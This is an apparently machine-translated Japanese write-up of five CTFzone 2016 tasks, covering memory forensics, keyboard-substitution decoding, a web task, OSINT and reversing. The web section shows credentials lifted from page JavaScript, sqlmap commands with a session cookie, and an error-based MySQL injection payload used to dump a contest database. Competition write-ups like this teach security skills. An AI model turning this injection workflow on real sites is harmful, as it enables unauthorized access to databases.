
11月17日と18日に、ZeroNights2016の一部としてBi.Zoneの旗の下で行われたCTFzoneのワイトアップに捧げられた一連の記事を続けます。 今回はタスクについて説明します。その実装により、100ポイントが実際のハッカーに有利になりました。
このシリーズの以前の出版物
いくつかのタスクを提供してくれたGH0st3rsに感謝します。
FORENSIC100-弦の達人
上昇し、輝いて、中Li、ウォッカを飲み、熊と遊ぶことの夢を止めなさい。 オーロラは話している、そしてあなたはあなたの職場で眠ることをやめた時です。 全世界がドレインを下る可能性があるので、そうでなければ...あなたはもはやあなたの時間を遊ばすことはできません。 間違った場所にいる右の人は世界を変えることができます。 起きて、中,、宇宙船パネルのパスワードを見つけて、地球の軍隊に加わってください!
タスクには、ファイル '.RAM'を含む7zアーカイブが付随していました。 RAMキャストを分析する必要があるのは論理的です。 「ボラティリティ」に注目することが決定されました。 もう一度( 2/3 )割り当てを読んで、ボラティリティに関するWikiをスクロールすると、「文字列 」セクションに気づき、 SysInternals Stringsへのリンクが表示されます。 もちろん、それを使用します。
strings.exe task_forensic_100.ram > output
3文字より長いUNICODE文字列から最大70MBの出力が得られます(デフォルト)。 テキストエディタで開き、フラグを探しに行きました-「もしもし?」 私の驚きは何でしたか:

後で判明したように、フラグを取得する私のバージョンは、「著者」が計画していたものとは異なることが判明しました。 まあ、まあ、それはさらに良いかもしれません。
MISC100-オタクメカニック
オーロラ:中Li、ヴァルバラ軍曹を紹介させてください。 彼女はあなたの助けを必要としています。
ヴァーバラ軍曹:中,、このターミナルは機能していません。 リクエストを入力しましたが、画面にちらつきがあります。 私たちの航空整備士は、このターミナルで最後に働いた。 ご覧になりますか?
以下に、ターミナルからの同じ「曲線」出力を示します。
why ir -iagp irbie -t cifap iw;-pfqlfrg -sfm DFG gukjlpi.cym/dnwalwbw pfrfg
それについてどうすればいいですか? よく見てみましょう:5行目の終わりはリンクに非常に似ています。 ただし、「y」->「o」を置き換える必要があります。 次に、最初の行で、「なぜ」が「誰」に変わります-ああ! -明らかにこれはBashインタープリターです。 この割り当てには、文字の置換のロジックがあったのかもしれませんが、トライアル方式を使用してPythonで簡単なスクリプトをスケッチしたため、解決策は自然に生まれました。
print(text.replace('y','o').replace('j','y').replace('n','j').replace('k','n').replace('u','v').replace('l','u').replace('i','l').replace('r','s').replace('e','k').replace('f','e').replace('p','r').replace('g','t').replace('G','T').replace(';','p').replace('d','g').replace('D','G').replace('F','E').replace('v','i'))
結果は次のとおりです。
who ls -latr lsblk -t clear lwp-request -sem GET tinyurl.com/gjwauwbw reset
リンクをたどると、フラグが表示されます:ctfzone {182ac24a3b2dc86ba298f57d9c391c0b}
PS>情報源から、この暗号文の文字を置き換えるための元のアルゴリズムはColemakの使用であることが知られています。
WEB100-検索エンジン
中Li(あなた):オーロラ、私はSNT-47コンパートメントにいます。 熱サインがありません。 船舶の通信に接続する方法を見つける必要がありますが、緊急です。どうすればよいですか?
AURORA:情報検索システムAURORAへようこそIDに名前を付けてください。
あなた:何の識別番号?! あなたも壊れていますか? ここに永遠に居たくないなら、あなたが中に持っているものを見てみましょう...
承認フォームのあるサイトへのリンクがタスクに添付されました。

どこから始めますか? 正しい:ページのソースコードの検索から。 私たちはそこに行き、観察します:
<script src=/static/js/pewpew.js type="text/javascript"></script>
開いて、見て:
if ('s3cr3tuser' === $(ctrls[0]).find('input').val() && 'v3rySTr0ngP@ss' === $(ctrls[1]).find('input').val()) {
肉眼で、何が何であるかを理解します。 承認フォームに戻って先に進みます。 単一の検索バーを含むページを開く前に。 「SQLiは1時間ここにいませんか?」私の頭の中で聞かれるべきです。 確認しましょう:ビンゴ!

さて、古き良きSqlMapを見つけてください(もちろん、あなたは手でそれを行うことができます)。 認証を行ったことを忘れないでください=> Cookieを指定する必要があります。 ローカルスペースを節約するために、「結論」は完全ではありません。
root@hackzard:~# sqlmap -u "http://78.155.219.6/search/param1*" --cookie="session=eyJ1c2VybmFtZSI6InMzY3IzdHVzZXJzZkhXekRTd09WSVlQR0oifQ.Cw6t3A.obdrULM4zqHM6FlQcQh_uaPtgmg" --level=3 --dbms=MySQL --tables
チーム出力
Parameter: #1* (URI)
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
Payload: http://78.155.219.6:80/search/param1'||(SELECT 'bGEm' FROM DUAL WHERE 8985=8985 AND (SELECT 1912 FROM(SELECT COUNT(*),CONCAT(0x7170716a71,(SELECT (ELT(1912=1912,1))),0x7176717a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a))||'
---
[18:30:29] [INFO] testing MySQL
[18:30:29] [INFO] confirming MySQL
[18:30:29] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.0.0
[18:30:29] [INFO] fetching database names
[18:30:29] [INFO] the SQL query used returns 5 entries
[18:30:29] [INFO] resumed: information_schema
[18:30:29] [INFO] resumed: mysql
[18:30:29] [INFO] resumed: performance_schema
[18:30:29] [INFO] resumed: sqli_100
[18:30:29] [INFO] resumed: sys
[18:30:29] [INFO] fetching tables for databases: 'information_schema, mysql, performance_schema, sqli_100, sys'
[18:30:29] [INFO] the SQL query used returns 282 entries
root@hackzard:~# sqlmap -u "http://78.155.219.6/search/param1*" --cookie="session=eyJ1c2VybmFtZSI6InMzY3IzdHVzZXJzZkhXekRTd09WSVlQR0oifQ.Cw6t3A.obdrULM4zqHM6FlQcQh_uaPtgmg" --level=3 --dbms=MySQL -D "sqli_100" -T "wtf3thisiss3crettable_dont_read_dont_touch" --columns
チーム出力
Database: sqli_100
Table: wtf3thisiss3crettable_dont_read_dont_touch
[2 columns]
+--------+--------------+
| Column | Type |
+--------+--------------+
| id | int(5) |
| secret | varchar(500) |
+--------+--------------+
root@hackzard:~# sqlmap -u "http://78.155.219.6/search/param1*" --cookie="session=eyJ1c2VybmFtZSI6InMzY3IzdHVzZXJzZkhXekRTd09WSVlQR0oifQ.Cw6t3A.obdrULM4zqHM6FlQcQh_uaPtgmg" --level=3 --dbms=MySQL -D "sqli_100" -T "wtf3thisiss3crettable_dont_read_dont_touch" -C "secret" --dump
チーム出力
Database: sqli_100
Table: wtf3thisiss3crettable_dont_read_dont_touch
[13 entries]
+-----------------------------------------+
| secret |
+-----------------------------------------+
| 089b1d5d37c22d81b55b6f77c9e2b042 |
| asdkkjhjsdaojewifdiowuefdw0 |
| asdkkjhjsdaojewifdiowuefdw0 |
| dskjhwjkfhsjdkfhsjdkhfjk |
| dskjhwjkfhsjdkfhsjdkhfjk |
| dskjhwjkfhsjdkfhsjdkhfjk |
| dskjhwjkfhsjdkfhsjdkhfjk |
| lfhdwrekfgbuhwoeijfdweoifjweoif |
| lfhdwrekfgbuhwoeijfdweoifjweoif |
| lfhdwrekfgbuhwoeijfdweoifjweoif |
| lfhdwrekfgbuhwoeijfdweoifjweoif |
| REMEMBER_FLAG_FORMAT.FLAG_IN_THIS_TABLE |
| REMEMBER_FLAG_FORMAT.FLAG_IN_THIS_TABLE |
+-----------------------------------------+
フラグ形式はこの表にあるため、忘れないようにしてください。 そしてここに彼は:
ctfzone {089b1d5d37c22d81b55b6f77c9e2b042}
OSINT100-奇妙な男
オーロラ:中Li、私たちのエージェントはコスモスホテルに潜入し、ZERONIGHTS 2016の準備を目撃しました。誰もがスタンドの設置と写真の作成に忙しかった。 ホールには変な男がいて、ラップトップで何かを読むことに夢中になっていた。 この男が誰なのかわかりませんでしたが、彼が画面を見ているものを知る必要があります。 この写真はあなたを助けるかもしれません。
写真が添付されました:

写真では、ある人が別の
- Cosmos Group of Companiesの領域でZeroNights2016のフレームワーク内で撮影が行われたことを認識して、GeoTagsの検索を使用します。 残念ながら、Instagram APIのあいまいな変更により、この瞬間は機能しませんでした。
- 試行錯誤により、一般的にCTF、Bi.Zone、またはZeroNightsに何らかの形で関連するすべてのハッシュタグを繰り返し処理します。
しばらくして(2番目の方法を使用して)、目的のハッシュタグが見つかりました:#zn2016。 そして、これが目的の写真です。

フラグ:ctfzone {Os1nT_G4nGsT3r}
REVERSE100-ドルンの扉
**オーロラ:**中Li、あなたの副操縦士はエイリアンに誘ductされ、刑務所に入れられました。 彼らは今狩りをしているので、彼を解放するチャンスです! 彼はドアの後ろに保持されており、脇には目が見えず、金属製の隔壁と完全に一致していたため、ドアを閉めても見ることができませんでした。
アーキボルトの碑文は次のとおりです。
「オメガの主、ドルンの扉。 話し、友達になって、入ってください。 私、ノービーはそれらを作りました。 アルファケンタウリのCalabrimborはこれらの兆候を描きました。」
しかし、注意して急いでください。 彼らはいつでも戻ってくることができます。
ファイルがタスクに添付され、起動すると、パスワードを入力するためのフィールドのあるウィンドウが表示されました。 パスワードが正しくない場合、次のエラーが発生しました。

まあ、まあ、裏返して! 逆アセンブルして、最後のタスク(REVERSE50)からすでにおなじみの関数:DialogFunc、オフセット:13F7C1040を参照してください。 私たちはさらに調べて見つけます:

このコードセクションでは、パスワードが受信されてから関数に渡され(PassVerifyを呼び出しましょう)、結果が正しくない場合は:
jz short loc_13F7C1126
エラーを通知するコードのセクションに移動します。

関数PassVerifyに移動して、そこで何が起こるかを見てみましょう。 入力したフレーズの長さ-4文字のチェックが表示されます。

次に、パスワードは2文字の2つの部分に分割されます。

次に、調整のための値でスタックを埋め始めます。 そして、アドレス13F7C1330から開始して、入力されたパスワードの検証が開始されます。

HexRaysプラグインを使用して、次のコードを取得します。

では、何がありますか? 「v3」はパスワードの最初の部分で、「v5」は2番目の部分です。 このループを変換すると、次の状態になります(Python):
v8 = [0, 0, 1, 241, 995, 0, 1, 4, 6, 104, 413, 0] if (v3%3==v8[0] and v3%5==v8[1] and v3%17==v8[2] and v3%257==v8[3] and v3%65537==v8[4]) or (v5%3==v8[6] and v5%5==v8[7] and v5%17==v8[8] and v5%257==v8[9] and v5%65537==v8[10])
誰もがこの方程式の解を選びました。 ただし、簡単な方法を探しているわけではなく、中国の剰余定理(そのスクリプトはNeoQuest2016に残っています )を使用します。
中国の剰余定理。 実装:Python
def chinese_remainder(n, a): sum = 0 prod = reduce(lambda a, b: a*b, n) for n_i, a_i in zip(n, a): p = prod / n_i sum += a_i * mul_inv(p, n_i) * p return sum % prod def mul_inv(a, b): b0 = b x0, x1 = 0, 1 if b == 1: return 1 while a > 1: q = a / b a, b = b, a%b x0, x1 = x1 - q * x0, x0 if x1 < 0: x1 += b0 return x1
私たちは使用します:
hex(chinese_remainder([3,5,17,257,65537],[v8[0],v8[1],v8[2],v8[3],v8[4]]))
出力:0xa028a40b
私たちは使用します:
hex(chinese_remainder([3,5,17,257,65537],[v8[6],v8[7],v8[8],v8[9],v8[10]]))
出力:0xa288a425
文字コードを取得しました。 次のステップは、 このサイトにアクセスして 、既知のHEX値で対応する文字を検索することです。 取得::。 このパスワードを試す-利益!

このシリーズの記事を続けて、CTFzone 2016の残りのタスクに対する解決策を検討します。
私たちと一緒にいてください!